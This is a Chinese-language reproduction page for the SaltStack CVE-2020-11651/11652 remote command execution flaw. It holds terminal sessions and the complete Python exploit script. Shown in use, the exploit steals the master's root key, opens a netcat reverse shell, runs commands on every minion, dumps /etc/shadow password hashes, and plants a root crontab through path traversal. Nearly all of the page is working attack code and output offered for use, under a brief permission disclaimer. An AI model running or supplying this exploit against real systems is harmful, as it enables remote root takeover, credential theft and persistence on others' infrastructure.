（CVE-2020-11651）SaltStack远程命令执行漏洞
===========================================
一、漏洞简介
------------
二、漏洞影响
------------
SaltStack \< 2019.2.4SaltStack \< 3000.2
三、复现过程
------------
### Usage
默认操作（不带参数）是获取给定主机的密钥:
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
root@kalimah:~/salt#
在主机上执行任意命令:
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[+] Attemping to execute nc 127.0.0.1 4444 -e /bin/sh on 192.168.115.130
[+] Successfully scheduled job: 20200504153851746472
root@kalimah:~/salt#
The same, but on all minions:
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec-all="apt-get upgrade -y"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[!] Lester, is this what you want? Hit ^C to abort.
[+] Attemping to execute 'apt-get upgrade -y' on all minions connected to 192.168.115.130
[+] Successfully submitted job to all minions.
root@kalimah:~/salt#
任意文件读取:
root@kalimah:~/salt# python2 exploit.py --master 192.168.115.130 -r /etc/shadow
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[+] Attemping to read /etc/shadow from 192.168.115.130
root:$6$7qfolaa/$3yhszWj/VUJjfPaqr1yO6NLgV/FhHnVT9Pr6spwJ/F0BJw5vFM.3KjtwcnnuGo5uSJJkLrd28jXrmVZUD9nEI/:17812:0:99999:7:::
daemon:*:17785:0:99999:7:::
bin:*:17785:0:99999:7:::
sys:*:17785:0:99999:7:::
sync:*:17785:0:99999:7:::
games:*:17785:0:99999:7:::
man:*:17785:0:99999:7:::
[...]
可以使用`--upload src`和`--upload dest`上传文件。注意目标必须是相对路径:
root@kalimah:~/salt# python2 exploit.py --upload-src evil.crontab --upload-dest ../../../../../../var/spool/cron/crontabs/root
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (127.0.0.1:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[-] Destination path must be relative
[+] Attemping to upload evil.crontab to ../../../../../../var/spool/cron/crontabs/root on 127.0.0.1
[ ] Wrote data to file /srv/salt/../../../../../../var/spool/cron/crontabs/root
### Requirements
- Python 2 or 3
- Salt (`pip3 install salt`)
### poc
#!/usr/bin/env python
#
# Exploit for CVE-2020-11651 and CVE-2020-11652
# Written by Jasper Lievisse Adriaanse (https://github.com/jasperla/CVE-2020-11651-poc)
# This exploit is based on this checker script:
# https://github.com/rossengeorgiev/salt-security-backports
from __future__ import absolute_import, print_function, unicode_literals
import argparse
import datetime
import os
import os.path
import sys
import time
import salt
import salt.version
import salt.transport.client
import salt.exceptions
def init_minion(master_ip, master_port):
minion_config = {
'transport': 'zeromq',
'pki_dir': '/tmp',
'id': 'root',
'log_level': 'debug',
'master_ip': master_ip,
'master_port': master_port,
'auth_timeout': 5,
'auth_tries': 1,
'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
}
return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
# --- check funcs ----
def check_salt_version():
print("[+] Salt version: {}".format(salt.version.__version__))
vi = salt.version.__version_info__
if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):
return True
else:
return False
def check_connection(master_ip, master_port, channel):
print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
sys.stdout.flush()
# connection check
try:
channel.send({'cmd':'ping'}, timeout=2)
except salt.exceptions.SaltReqTimeoutError:
print("OFFLINE")
sys.exit(1)
else:
print("ONLINE")
def check_CVE_2020_11651(channel):
print("[+] Checking if vulnerable to CVE-2020-11651... ", end='')
sys.stdout.flush()
# try to evil
try:
rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("YES")
except:
print("ERROR")
raise
else:
pass
finally:
if rets:
root_key = rets[2]['root']
return root_key
return None
def check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path):
print("[+] Checking if vulnerable to CVE-2020-11652 (read_token)... ", end='')
sys.stdout.flush()
# try read file
msg = {
'cmd': 'get_token',
'arg': [],
'token': top_secret_file_path,
}
try:
rets = channel.send(msg, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("YES")
except:
print("ERROR")
raise
else:
if debug:
print()
print(rets)
print("NO")
def check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key):
print("[+] Checking if vulnerable to CVE-2020-11652 (read)... ", end='')
sys.stdout.flush()
# try read file
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.read',
'path': top_secret_file_path,
'saltenv': 'base',
}
try:
rets = channel.send(msg, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("TIMEOUT")
except:
print("ERROR")
raise
else:
if debug:
print()
print(rets)
if rets['data']['return']:
print("YES")
else:
print("NO")
def check_CVE_2020_11652_write1(debug, channel, root_key):
print("[+] Checking if vulnerable to CVE-2020-11652 (write1)... ", end='')
sys.stdout.flush()
# try read file
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.write',
'path': '../../../../../../../../tmp/salt_CVE_2020_11652',
'data': 'evil',
'saltenv': 'base',
}
try:
rets = channel.send(msg, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("TIMEOUT")
except:
print("ERROR")
raise
else:
if debug:
print()
print(rets)
pp(rets)
if rets['data']['return'].startswith('Wrote'):
try:
os.remove('/tmp/salt_CVE_2020_11652')
except OSError:
print("Maybe?")
else:
print("YES")
else:
print("NO")
def check_CVE_2020_11652_write2(debug, channel, root_key):
print("[+] Checking if vulnerable to CVE-2020-11652 (write2)... ", end='')
sys.stdout.flush()
# try read file
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'config.update_config',
'file_name': '../../../../../../../../tmp/salt_CVE_2020_11652',
'yaml_contents': 'evil',
'saltenv': 'base',
}
try:
rets = channel.send(msg, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print("TIMEOUT")
except:
print("ERROR")
raise
else:
if debug:
print()
print(rets)
if rets['data']['return'].startswith('Wrote'):
try:
os.remove('/tmp/salt_CVE_2020_11652.conf')
except OSError:
print("Maybe?")
else:
print("YES")
else:
print("NO")
def pwn_read_file(channel, root_key, path, master_ip):
print("[+] Attemping to read {} from {}".format(path, master_ip))
sys.stdout.flush()
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.read',
'path': path,
'saltenv': 'base',
}
rets = channel.send(msg, timeout=3)
print(rets['data']['return'][0][path])
def pwn_upload_file(channel, root_key, src, dest, master_ip):
print("[+] Attemping to upload {} to {} on {}".format(src, dest, master_ip))
sys.stdout.flush()
try:
fh = open(src, 'rb')
payload = fh.read()
fh.close()
except Exception as e:
print('[-] Failed to read {}: {}'.format(src, e))
return
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.write',
'saltenv': 'base',
'data': payload,
'path': dest,
}
rets = channel.send(msg, timeout=3)
print('[ ] {}'.format(rets['data']['return']))
def pwn_exec(channel, root_key, cmd, master_ip, jid):
print("[+] Attemping to execute {} on {}".format(cmd, master_ip))
sys.stdout.flush()
msg = {
'key': root_key,
'cmd': 'runner',
'fun': 'salt.cmd',
'saltenv': 'base',
'user': 'sudo_user',
'kwarg': {
'fun': 'cmd.exec_code',
'lang': 'python',
'code': "import subprocess;subprocess.call('{}',shell=True)".format(cmd)
},
'jid': jid,
}
try:
rets = channel.send(msg, timeout=3)
except Exception as e:
print('[-] Failed to submit job')
return
if rets.get('jid'):
print('[+] Successfully scheduled job: {}'.format(rets['jid']))
def pwn_exec_all(channel, root_key, cmd, master_ip, jid):
print("[+] Attemping to execute '{}' on all minions connected to {}".format(cmd, master_ip))
sys.stdout.flush()
msg = {
'key': root_key,
'cmd': '_send_pub',
'fun': 'cmd.run',
'user': 'root',
'arg': [ "/bin/sh -c '{}'".format(cmd) ],
'tgt': '*',
'tgt_type': 'glob',
'ret': '',
'jid': jid
}
try:
rets = channel.send(msg, timeout=3)
except Exception as e:
print('[-] Failed to submit job')
return
finally:
if rets == None:
print('[+] Successfully submitted job to all minions.')
else:
print('[-] Failed to submit job')
def main():
parser = argparse.ArgumentParser(description='Saltstack exploit for CVE-2020-11651 and CVE-2020-11652')
parser.add_argument('--master', '-m', dest='master_ip', default='127.0.0.1')
parser.add_argument('--port', '-p', dest='master_port', default='4506')
parser.add_argument('--force', '-f', dest='force', default=False, action='store_false')
parser.add_argument('--debug', '-d', dest='debug', default=False, action='store_true')
parser.add_argument('--run-checks', '-c', dest='run_checks', default=False, action='store_true')
parser.add_argument('--read', '-r', dest='read_file')
parser.add_argument('--upload-src', dest='upload_src')
parser.add_argument('--upload-dest', dest='upload_dest')
parser.add_argument('--exec', dest='exec', help='Run a command on the master')
parser.add_argument('--exec-all', dest='exec_all', help='Run a command on all minions')
args = parser.parse_args()
print("[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.")
time.sleep(1)
# Both src and destination are required for uploads
if (args.upload_src and args.upload_dest is None) or (args.upload_dest and args.upload_src is None):
print('[-] Must provide both --upload-src and --upload-dest')
sys.exit(1)
channel = init_minion(args.master_ip, args.master_port)
if check_salt_version():
print("[ ] This version of salt is vulnerable! Check results below")
elif args.force:
print("[*] This version of salt does NOT appear vulnerable. Proceeding anyway as requested.")
else:
sys.exit()
check_connection(args.master_ip, args.master_port, channel)
root_key = check_CVE_2020_11651(channel)
if root_key:
print('\n[*] root key obtained: {}'.format(root_key))
else:
print('[-] Failed to find root key...aborting')
sys.exit(127)
if args.run_checks:
# Assuming this check runs on the master itself, create a file with "secret" content
# and abuse CVE-2020-11652 to read it.
top_secret_file_path = '/tmp/salt_cve_teta'
with salt.utils.fopen(top_secret_file_path, 'w') as fd:
fd.write("top secret")
# Again, this assumes we're running this check on the master itself
with salt.utils.fopen('/var/cache/salt/master/.root_key') as keyfd:
root_key = keyfd.read()
check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path)
check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_key)
check_CVE_2020_11652_write1(debug, channel, root_key)
check_CVE_2020_11652_write2(debug, channel, root_key)
os.remove(top_secret_file_path)
sys.exit(0)
if args.read_file:
pwn_read_file(channel, root_key, args.read_file, args.master_ip)
if args.upload_src:
if os.path.isabs(args.upload_dest):
print('[-] Destination path must be relative; aborting')
sys.exit(1)
pwn_upload_file(channel, root_key, args.upload_src, args.upload_dest, args.master_ip)
jid = '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow())
if args.exec:
pwn_exec(channel, root_key, args.exec, args.master_ip, jid)
if args.exec_all:
print("[!] Lester, is this what you want? Hit ^C to abort.")
time.sleep(2)
pwn_exec_all(channel, root_key, args.exec_all, args.master_ip, jid)
if __name__ == '__main__':
main()